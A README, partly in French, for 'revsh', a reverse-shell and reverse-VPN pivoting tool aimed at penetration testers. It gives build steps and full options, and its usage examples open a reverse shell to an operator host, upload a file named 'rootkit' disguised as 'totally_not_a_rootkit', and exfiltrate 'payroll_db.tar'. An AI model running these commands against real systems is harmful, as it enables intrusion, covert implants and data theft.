
Un reverse shell avec support de terminal, tunneling de données et capacités de pivotement avancées.
revsh est un outil permettant d'établir des reverse shells avec support terminal, des VPNs inversés pour pivotement avancé, ainsi que du tunneling de données arbitraires.
Qu'est-ce qu'un « reverse shell » ?
Un reverse shell est une connexion réseau qui accorde un accès shell à un hôte distant. Contrairement à d'autres outils de connexion à distance tels que telnet et ssh, un reverse shell est initié par l'hôte distant. Cette technique de connexion sortante depuis le réseau distant permet de contourner les pare-feux configurés pour bloquer uniquement les connexions entrantes.
Qu'est-ce qu'un « VPN inversé » ?
revsh est capable d'attacher une carte Ethernet virtuelle (tun/tap) aux deux extrémités de son tunnel crypté. Ces cartes peuvent ensuite être utilisées pour transférer des paquets IP bruts ou des trames Ethernet. Combiné à une règle NAT Iptables, ou au pontage d'une carte Ethernet réelle, cela permet à l'opérateur de recevoir une adresse IP entièrement routable sur le réseau de la machine cible. Il s'agit essentiellement d'un VPN complet qui a effectué un appel de rappel vers l'opérateur pour contourner le filtrage des paquets entrants et accorder à l'opérateur un accès réseau complet. (Voir "Documentation/REVERSE_VPN.md" pour plus d'informations.)
Qu'est-ce qu'un « bind shell » ?
Un bind shell est un shell servi depuis une connexion réseau normale et directe. revsh supporte à la fois les reverse shells et les bind shells. Pour invoquer un bind shell, vous pouvez soit utiliser l'option -b aux deux extrémités de la connexion, soit invoquer le binaire sous le nom 'bindsh'.
Ne puis-je pas simplement utiliser netcat ?
Il existe de nombreuses techniques pour établir un reverse shell, mais ces méthodes n'offrent pas de support terminal. revsh permet d'avoir un reverse shell dont la connexion est gérée par un pseudo-terminal, et permet ainsi des fonctionnalités telles que :
De plus, revsh offre également les fonctionnalités suivantes :
revsh est conçu comme un outil supplémentaire pour la trousse à outils d'un pentester qui fournit l'ensemble complet des fonctionnalités terminales à travers un tunnel crypté.
Où puis-je utiliser revsh ?
revsh a été développé sur Linux x86_64. Voici une brève liste des combinaisons Arch / OS sur lesquelles il a été utilisé :
(Si vous avez utilisé revsh avec succès sur une autre plateforme, envoyez-moi un message et je l'ajouterai à la liste.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS The address of the control listener. (Default is "0.0.0.0".)
PORT The port of the control listener. (Default is "2200".)
CONTROL_OPTIONS:
-c Run in "command and control" mode. (Default is target mode.)
-a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.)
-d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".)
-f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".)
-s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".)
-F LOG_FILE Log general use and errors to LOG_FILE. (No default set.)
TARGET_OPTIONS:
-t SEC Set the connection timeout to SEC seconds. (Default is "3600".)
-r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".)
to be random in the range from SEC1 to SEC2.
MUTUAL_OPTIONS:
-k Run in keep-alive mode.
Node will neither exit normally, nor timeout.
-L [LHOST:]LPORT:RHOST:RPORT
Static socket forwarding with a local listener
at LHOST:LPORT forwarding to RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Static socket forwarding with a remote listener
at RHOST:RPORT forwarding to LHOST:LPORT.
-D [LHOST:]LPORT
Dynamic socket forwarding with a local listener
at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-B [RHOST:]RPORT
Dynamic socket forwarding with a remote
listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.)
-b Start in bind shell mode. (Default is reverse shell mode.)
The -b flag must be invoked on both ends.
-n Non-interactive netcat style data broker. (Default is interactive w/remote tty.)
No tty. Useful for copying files.
-v Verbose. -vv and -vvv increase verbosity.
-V Print the program and protocol versions.
-h Print this help.
-e Print out some usage examples.
Tout d'abord, vous devrez compiler OpenSSL à partir des sources. (Voir NOTE ci-dessous.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # These options are needed to build static applications against OpenSSL.
make && make test # We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..
Maintenant, compilez revsh.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Set up new defaults that fit your situation.
vi Makefile # Check that the selected build environment is the one you want. (It probably already is by default.)
make # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h
NOTE : Avec la sortie d'OpenSSL 1.1.0, OpenSSL doit être compilé à partir des sources pour être utilisé dans un binaire lié statiquement. Compiler un binaire lié statiquement avec les bibliothèques OpenSSL fournies par la plupart des distributions Linux (y compris Kali) ne fonctionnera pas. (S'il compile, il plantera (SEGFAULT).)
Adresse IP exemple de l'hôte de contrôle : 192.168.0.42
Adresse IP exemple de l'hôte cible : 192.168.0.66
Interactive example on default port '2200':
control: revsh -c
target: revsh 192.168.0.42
Interactive example on non-standard port '443':
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
Bindshell example:
target: revsh -b
control: revsh -c -b 192.168.0.66
Non-interactive file upload example:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
Non-interactive file download example:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
Non-interactive file download example across existing tunnel:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290